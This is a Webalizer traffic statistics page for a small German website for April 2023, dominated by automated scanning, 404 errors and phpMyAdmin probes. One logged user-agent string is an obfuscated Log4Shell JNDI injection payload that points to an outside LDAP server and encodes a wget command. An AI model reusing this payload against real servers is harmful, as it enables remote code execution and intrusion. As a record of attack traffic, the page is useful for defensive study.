Usage Statistics for www.restpostenlicht.de

Summary Period: April 2023
Generated 01-May-2023 05:30 CEST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Locations]

Monthly Statistics for April 2023
Total Hits 7165
Total Files 368
Total Pages 5432
Total Visits 2461
Total kB Files 8455
Total kB In 3
Total kB Out 0
Total Unique Sites 1404
Total Unique URLs 5
Total Unique Referrers 30
Total Unique User Agents 353
. Avg Max
Hits per Hour 9 432
Hits per Day 238 760
Files per Day 12 200
Pages per Day 181 623
Visits per Day 82 111
kB Files per Day 282 1653
kB In per Day 0 2
kB Out per Day 0 0
Hits by Response Code
Undefined response code 2
Code 200 - OK 368
Code 301 - Moved Permanently 3
Code 302 - Found 268
Code 400 - Bad Request 363
Code 403 - Forbidden 16
Code 404 - Not Found 5838
Code 405 - Method Not Allowed 52
Code 408 - Request Timeout 62
Code 501 - Not Implemented 193

Daily usage for April 2023

Daily Statistics for April 2023
Day Hits Files Pages Visits Sites kB F kB In kB Out
1 169 2.36% 1 0.27% 144 2.65% 98 3.98% 79 5.63% 146 1.72% 0 0.00% 0 0.00%
2 499 6.96% 2 0.54% 326 6.00% 72 2.93% 63 4.49% 523 6.18% 0 0.00% 0 0.00%
3 576 8.04% 200 54.35% 519 9.55% 74 3.01% 70 4.99% 844 9.98% 0 0.00% 0 0.00%
4 253 3.53% 2 0.54% 213 3.92% 90 3.66% 75 5.34% 190 2.25% 0 0.00% 0 0.00%
5 159 2.22% 0 0.00% 127 2.34% 90 3.66% 78 5.56% 146 1.73% 0 0.00% 0 0.00%
6 225 3.14% 0 0.00% 192 3.53% 95 3.86% 80 5.70% 229 2.71% 0 0.00% 0 0.00%
7 136 1.90% 3 0.82% 114 2.10% 90 3.66% 83 5.91% 151 1.78% 0 0.00% 0 0.00%
8 143 2.00% 0 0.00% 106 1.95% 86 3.49% 74 5.27% 115 1.36% 0 0.00% 0 0.00%
9 342 4.77% 3 0.82% 248 4.57% 74 3.01% 63 4.49% 231 2.74% 0 0.00% 0 0.00%
10 175 2.44% 3 0.82% 143 2.63% 80 3.25% 69 4.91% 172 2.03% 0 0.00% 0 0.00%
11 245 3.42% 0 0.00% 199 3.66% 99 4.02% 80 5.70% 222 2.63% 0 0.00% 0 0.00%
12 760 10.61% 140 38.04% 623 11.47% 83 3.37% 66 4.70% 1653 19.55% 0 0.00% 0 0.00%
13 185 2.58% 0 0.00% 137 2.52% 81 3.29% 84 5.98% 210 2.48% 0 0.00% 0 0.00%
14 174 2.43% 0 0.00% 140 2.58% 85 3.45% 83 5.91% 177 2.10% 0 0.00% 0 0.00%
15 189 2.64% 1 0.27% 120 2.21% 91 3.70% 82 5.84% 144 1.70% 0 0.00% 0 0.00%
16 143 2.00% 0 0.00% 98 1.80% 56 2.28% 56 3.99% 135 1.59% 2 82.97% 0 0.00%
17 218 3.04% 2 0.54% 162 2.98% 80 3.25% 78 5.56% 238 2.81% 0 0.00% 0 0.00%
18 128 1.79% 0 0.00% 103 1.90% 81 3.29% 71 5.06% 124 1.46% 0 0.00% 0 0.00%
19 201 2.81% 1 0.27% 161 2.96% 82 3.33% 74 5.27% 217 2.57% 0 0.00% 0 0.00%
20 409 5.71% 1 0.27% 249 4.58% 69 2.80% 59 4.20% 510 6.03% 0 0.00% 0 0.00%
21 119 1.66% 2 0.54% 94 1.73% 64 2.60% 53 3.77% 147 1.74% 0 0.00% 0 0.00%
22 135 1.88% 2 0.54% 102 1.88% 79 3.21% 70 4.99% 147 1.74% 0 0.00% 0 0.00%
23 154 2.15% 0 0.00% 104 1.91% 71 2.89% 84 5.98% 156 1.85% 0 0.00% 0 0.00%
24 209 2.92% 1 0.27% 146 2.69% 78 3.17% 70 4.99% 219 2.59% 0 0.00% 0 0.00%
25 297 4.15% 1 0.27% 228 4.20% 111 4.51% 98 6.98% 357 4.22% 1 17.03% 0 0.00%
26 207 2.89% 2 0.54% 164 3.02% 93 3.78% 81 5.77% 216 2.55% 0 0.00% 0 0.00%
27 112 1.56% 1 0.27% 89 1.64% 72 2.93% 61 4.34% 139 1.64% 0 0.00% 0 0.00%
28 306 4.27% 0 0.00% 135 2.49% 79 3.21% 70 4.99% 388 4.59% 0 0.00% 0 0.00%
29 174 2.43% 0 0.00% 141 2.60% 94 3.82% 94 6.70% 180 2.13% 0 0.00% 0 0.00%
30 123 1.72% 0 0.00% 105 1.93% 65 2.64% 64 4.56% 130 1.53% 0 0.00% 0 0.00%

Hourly usage for April 2023

Hourly Statistics for April 2023
Hour Hits Files Pages kB F kB In kB Out
Avg Total Avg Total Avg Total Avg Total Avg Total Avg Total
0 16 481 6.71% 0 3 0.82% 12 378 6.96% 15 436 5.15% 0 0 0.00% 0 0 0.00%
1 22 668 9.32% 6 200 54.35% 19 592 10.90% 30 894 10.57% 0 0 0.00% 0 0 0.00%
2 9 275 3.84% 0 1 0.27% 7 223 4.11% 9 260 3.08% 0 0 0.00% 0 0 0.00%
3 13 393 5.48% 0 0 0.00% 10 307 5.65% 13 387 4.58% 0 0 0.00% 0 0 0.00%
4 12 387 5.40% 0 1 0.27% 11 344 6.33% 10 292 3.46% 0 0 0.00% 0 0 0.00%
5 10 309 4.31% 0 1 0.27% 8 249 4.58% 9 269 3.18% 0 0 0.00% 0 0 0.00%
6 5 172 2.40% 0 2 0.54% 5 152 2.80% 7 216 2.56% 0 0 0.00% 0 0 0.00%
7 5 174 2.43% 0 1 0.27% 4 142 2.61% 5 155 1.83% 0 0 0.00% 0 0 0.00%
8 13 395 5.51% 0 1 0.27% 6 207 3.81% 15 455 5.38% 0 0 0.00% 0 0 0.00%
9 7 211 2.94% 0 2 0.54% 5 169 3.11% 6 190 2.25% 0 0 0.00% 0 0 0.00%
10 6 183 2.55% 0 3 0.82% 5 159 2.93% 6 191 2.26% 0 0 0.00% 0 0 0.00%
11 6 194 2.71% 0 1 0.27% 5 159 2.93% 7 206 2.43% 0 0 0.00% 0 0 0.00%
12 8 240 3.35% 0 1 0.27% 6 184 3.39% 7 218 2.58% 0 0 0.00% 0 0 0.00%
13 7 217 3.03% 0 0 0.00% 4 144 2.65% 7 218 2.58% 0 0 0.00% 0 0 0.00%
14 13 413 5.76% 0 2 0.54% 7 236 4.34% 14 431 5.10% 0 0 0.00% 0 0 0.00%
15 7 231 3.22% 0 2 0.54% 6 183 3.37% 7 208 2.46% 0 0 0.00% 0 0 0.00%
16 5 168 2.34% 0 1 0.27% 4 120 2.21% 5 165 1.95% 0 0 0.00% 0 0 0.00%
17 7 221 3.08% 0 1 0.27% 5 166 3.06% 9 281 3.33% 0 0 0.00% 0 0 0.00%
18 4 142 1.98% 0 2 0.54% 4 120 2.21% 4 118 1.39% 0 0 0.00% 0 0 0.00%
19 11 358 5.00% 0 1 0.27% 6 195 3.59% 15 454 5.37% 0 0 0.00% 0 0 0.00%
20 14 435 6.07% 4 140 38.04% 12 369 6.79% 46 1367 16.16% 0 0 0.00% 0 0 0.00%
21 8 260 3.63% 0 0 0.00% 7 214 3.94% 9 273 3.23% 0 2 82.97% 0 0 0.00%
22 13 415 5.79% 0 1 0.27% 7 239 4.40% 18 545 6.44% 0 1 17.03% 0 0 0.00%
23 7 223 3.11% 0 1 0.27% 6 181 3.33% 8 227 2.68% 0 0 0.00% 0 0 0.00%

Top 5 of 5 Total URLs
# Hits kB F kB In kB Out URL
1 343 4.79% 1731 20.47% 0 0.00% 0 0.00% /phpmyadmin/
2 15 0.21% 15 0.17% 0 0.00% 0 0.00% /
3 7 0.10% 17 0.21% 0 0.00% 0 0.00% /sra_
4 2 0.03% 4 0.05% 0 0.00% 0 0.00% /logs/
5 1 0.01% 9 0.10% 0 0.00% 0 0.00% /phpmyadmin/url.php

Top 5 of 5 Total URLs By kB F
# Hits kB F kB In kB Out URL
1 343 4.79% 1731 20.47% 0 0.00% 0 0.00% /phpmyadmin/
2 7 0.10% 17 0.21% 0 0.00% 0 0.00% /sra_
3 15 0.21% 15 0.17% 0 0.00% 0 0.00% /
4 1 0.01% 9 0.10% 0 0.00% 0 0.00% /phpmyadmin/url.php
5 2 0.03% 4 0.05% 0 0.00% 0 0.00% /logs/

Top 4 of 4 Total Entry Pages
# Hits Visits URL
1 15 0.21% 1758 99.49% /
2 343 4.79% 5 0.28% /phpmyadmin/
3 7 0.10% 3 0.17% /sra_
4 1 0.01% 1 0.06% /phpmyadmin/url.php

Top 2 of 2 Total Exit Pages
# Hits Visits URL
1 15 0.21% 304 99.35% /
2 343 4.79% 2 0.65% /phpmyadmin/

Top 30 of 1404 Total Sites
# Hits Files kB F kB In kB Out Visits Hostname
1 493 6.88% 2 0.54% 708 8.38% 0 0.00% 0 0.00% 2 0.08% 172-104-137-47.ip.linodeusercontent.com
2 424 5.92% 200 54.35% 703 8.31% 0 0.00% 0 0.00% 1 0.04% snf-59372.vm.okeanos-global.grnet.gr
3 273 3.81% 0 0.00% 132 1.56% 0 0.00% 0 0.00% 268 10.89% 193.32.162.159
4 208 2.90% 139 37.77% 1187 14.04% 0 0.00% 0 0.00% 1 0.04% vmi1170847.contaboserver.net
5 207 2.89% 1 0.27% 235 2.78% 0 0.00% 0 0.00% 1 0.04% 31.192.105.81
6 181 2.53% 0 0.00% 84 0.99% 0 0.00% 0 0.00% 1 0.04% 122.43.71.34.bc.googleusercontent.com
7 143 2.00% 0 0.00% 203 2.40% 0 0.00% 0 0.00% 1 0.04% 45.82.85.111.deltahost-ptr
8 129 1.80% 2 0.54% 59 0.70% 0 0.00% 0 0.00% 1 0.04% unn-138-199-34-7.datapacket.com
9 127 1.77% 0 0.00% 56 0.67% 0 0.00% 0 0.00% 1 0.04% 123.108.97.144
10 101 1.41% 1 0.27% 52 0.62% 0 0.00% 0 0.00% 98 3.98% hostedby.privatealps.net
11 97 1.35% 0 0.00% 51 0.61% 0 0.00% 0 0.00% 5 0.20% 20.14.92.18
12 76 1.06% 0 0.00% 68 0.81% 0 0.00% 0 0.00% 4 0.16% 43.132.196.160
13 68 0.95% 0 0.00% 33 0.39% 0 0.00% 0 0.00% 2 0.08% host-173-82-103-106-by.multacom.com
14 62 0.87% 1 0.27% 105 1.24% 0 0.00% 0 0.00% 1 0.04% 178-79-139-171.ip.linodeusercontent.com
15 52 0.73% 0 0.00% 26 0.31% 0 0.00% 0 0.00% 1 0.04% 14.18.63.105
16 52 0.73% 0 0.00% 26 0.31% 0 0.00% 0 0.00% 1 0.04% 23-94-123-218-host.colocrossing.com
17 52 0.73% 0 0.00% 51 0.60% 0 0.00% 0 0.00% 6 0.24% ec2-3-139-95-64.us-east-2.compute.amazonaws.com
18 52 0.73% 0 0.00% 50 0.59% 0 0.00% 0 0.00% 26 1.06% free.hostglobal.plus
19 50 0.70% 0 0.00% 57 0.67% 0 0.00% 0 0.00% 2 0.08% 43.135.123.64
20 45 0.63% 0 0.00% 22 0.26% 0 0.00% 0 0.00% 1 0.04% 119.29.163.245
21 45 0.63% 0 0.00% 22 0.26% 0 0.00% 0 0.00% 1 0.04% 152.136.235.236
22 45 0.63% 0 0.00% 22 0.26% 0 0.00% 0 0.00% 1 0.04% 39.103.194.15
23 45 0.63% 0 0.00% 59 0.70% 0 0.00% 0 0.00% 19 0.77% 45.130.153.170
24 45 0.63% 0 0.00% 22 0.26% 0 0.00% 0 0.00% 1 0.04% 47.106.210.38
25 44 0.61% 0 0.00% 42 0.50% 0 0.00% 0 0.00% 22 0.89% example.com
26 43 0.60% 0 0.00% 21 0.25% 0 0.00% 0 0.00% 3 0.12% 107.189.10.254
27 43 0.60% 0 0.00% 45 0.53% 0 0.00% 0 0.00% 14 0.57% 183.136.225.32
28 42 0.59% 0 0.00% 21 0.25% 0 0.00% 0 0.00% 1 0.04% ns548120.ip-139-99-120.net
29 41 0.57% 0 0.00% 20 0.24% 0 0.00% 0 0.00% 1 0.04% 175.178.237.54
30 37 0.52% 3 0.82% 42 0.50% 0 0.00% 0 0.00% 14 0.57% 216.244.66.197
View All Sites

Top 10 of 1404 Total Sites By kB F
# Hits Files kB F kB In kB Out Visits Hostname
1 208 2.90% 139 37.77% 1187 14.04% 0 0.00% 0 0.00% 1 0.04% vmi1170847.contaboserver.net
2 493 6.88% 2 0.54% 708 8.38% 0 0.00% 0 0.00% 2 0.08% 172-104-137-47.ip.linodeusercontent.com
3 424 5.92% 200 54.35% 703 8.31% 0 0.00% 0 0.00% 1 0.04% snf-59372.vm.okeanos-global.grnet.gr
4 207 2.89% 1 0.27% 235 2.78% 0 0.00% 0 0.00% 1 0.04% 31.192.105.81
5 143 2.00% 0 0.00% 203 2.40% 0 0.00% 0 0.00% 1 0.04% 45.82.85.111.deltahost-ptr
6 273 3.81% 0 0.00% 132 1.56% 0 0.00% 0 0.00% 268 10.89% 193.32.162.159
7 62 0.87% 1 0.27% 105 1.24% 0 0.00% 0 0.00% 1 0.04% 178-79-139-171.ip.linodeusercontent.com
8 181 2.53% 0 0.00% 84 0.99% 0 0.00% 0 0.00% 1 0.04% 122.43.71.34.bc.googleusercontent.com
9 76 1.06% 0 0.00% 68 0.81% 0 0.00% 0 0.00% 4 0.16% 43.132.196.160
10 29 0.40% 0 0.00% 64 0.76% 0 0.00% 0 0.00% 29 1.18% 176.113.115.51

Top 30 of 30 Total Referrers
# Hits Referrer
1 6483 90.48% - (Direct Request)
2 407 5.68% http://78.46.88.114/phpmyadmin/index.php
3 141 1.97% http://78.46.88.114:80/admin/login.asp
4 43 0.60% http://78.46.88.114
5 34 0.47% t('
6 15 0.21% http://78.46.88.114:80/left.html
7 7 0.10% http://78.46.88.114/
8 6 0.08% https://78.46.88.114/
9 4 0.06% https://easyseo.s-nac.com
10 3 0.04% https://78.46.88.114:443/
11 2 0.03% http://restpostenlicht.de/logs/usage_202304.html
12 2 0.03% msvc/2019\
13 1 0.01% /92eb5ffee6.php
14 1 0.01% /diyi/79869.html
15 1 0.01% /donghuapian/baishe2qingshejieqi/
16 1 0.01% /dongman/haizeiwang/
17 1 0.01% /guocanju/huanchengdvdban/
18 1 0.01% /haiwaiju/huangfengdierji/
19 1 0.01% /mg/111951.html
20 1 0.01% /mz/70970.html
21 1 0.01% /p/26602.html
22 1 0.01% /tvplay/181442.html
23 1 0.01% /tywcb/161343.html
24 1 0.01% /voddetail/45112.html
25 1 0.01% /voddetail/45186.html
26 1 0.01% /voddetail/47649.html
27 1 0.01% /voddetail/76601.html
28 1 0.01% /vodhtml/98360.html
29 1 0.01% /vplayer/111057.html
30 1 0.01% /vplayer/135449.html

Top 15 of 353 Total User Agents
# Hits User Agent
1 4188 58.45% Netscape
2 723 10.09% curl/7.54.0
3 258 3.60% Micro$oft Internet Exploder
4 110 1.54% Go-http-client/1.1
5 93 1.30% python-requests/2.28.2
6 83 1.16% python-requests/2.27.1
7 61 0.85% Hello, world
8 59 0.82% Hello World
9 31 0.43% Hello, Momentum
10 26 0.36% Linux Gnu (cow)
11 26 0.36% t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//129.151.84.124:1389/TomcatBypass/Command/Base64/d2dldCBodHRw
12 24 0.33% Mozila/5.0
13 17 0.24% 'Cloud mapping experiment. Contact research@pdrlabs.net'
14 13 0.18% python-requests/2.25.1
15 11 0.15% Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.31

Usage by Location for April 2023

Top 30 of 62 Total Locations
# Hits Files kB F kB In kB Out Location
1 2288 31.93% 23 6.25% 2472 29.24% 0 0.00% 0 0.00% US Commercial
2 855 11.93% 3 0.82% 846 10.00% 0 0.00% 0 0.00% United States
3 645 9.00% 0 0.00% 725 8.57% 0 0.00% 0 0.00% Unresolved/Unknown
4 509 7.10% 140 38.04% 1430 16.92% 0 0.00% 0 0.00% Network
5 459 6.41% 200 54.35% 735 8.69% 0 0.00% 0 0.00% Greece
6 355 4.95% 1 0.27% 258 3.05% 0 0.00% 0 0.00% China
7 315 4.40% 0 0.00% 164 1.94% 0 0.00% 0 0.00% Great Britain (UK)
8 289 4.03% 0 0.00% 425 5.03% 0 0.00% 0 0.00% Non-Profit Organization
9 280 3.91% 0 0.00% 325 3.85% 0 0.00% 0 0.00% Japan
10 275 3.84% 1 0.27% 272 3.21% 0 0.00% 0 0.00% Russian Federation
11 135 1.88% 0 0.00% 60 0.71% 0 0.00% 0 0.00% Indonesia
12 127 1.77% 0 0.00% 176 2.08% 0 0.00% 0 0.00% British Indian Ocean Territory
13 76 1.06% 0 0.00% 52 0.61% 0 0.00% 0 0.00% Canada
14 72 1.00% 0 0.00% 82 0.97% 0 0.00% 0 0.00% Germany
15 56 0.78% 0 0.00% 58 0.68% 0 0.00% 0 0.00% India
16 52 0.73% 0 0.00% 26 0.31% 0 0.00% 0 0.00% Hong Kong
17 50 0.70% 0 0.00% 65 0.77% 0 0.00% 0 0.00% France
18 39 0.54% 0 0.00% 19 0.23% 0 0.00% 0 0.00% Bulgaria
19 30 0.42% 0 0.00% 60 0.71% 0 0.00% 0 0.00% US Educational
20 26 0.36% 0 0.00% 27 0.31% 0 0.00% 0 0.00% Spain
21 22 0.31% 0 0.00% 14 0.17% 0 0.00% 0 0.00% Korea (South)
22 21 0.29% 0 0.00% 11 0.13% 0 0.00% 0 0.00% Belgium
23 17 0.24% 0 0.00% 12 0.14% 0 0.00% 0 0.00% United Kingdom
24 16 0.22% 0 0.00% 12 0.14% 0 0.00% 0 0.00% Brazil
25 14 0.20% 0 0.00% 5 0.06% 0 0.00% 0 0.00% Romania
26 12 0.17% 0 0.00% 19 0.22% 0 0.00% 0 0.00% Australia
27 10 0.14% 0 0.00% 5 0.06% 0 0.00% 0 0.00% Colombia
28 10 0.14% 0 0.00% 13 0.15% 0 0.00% 0 0.00% Hungary
29 10 0.14% 0 0.00% 10 0.12% 0 0.00% 0 0.00% Saudi Arabia
30 8 0.11% 0 0.00% 16 0.18% 0 0.00% 0 0.00% Italy


Generated by Webalizer Version 2.01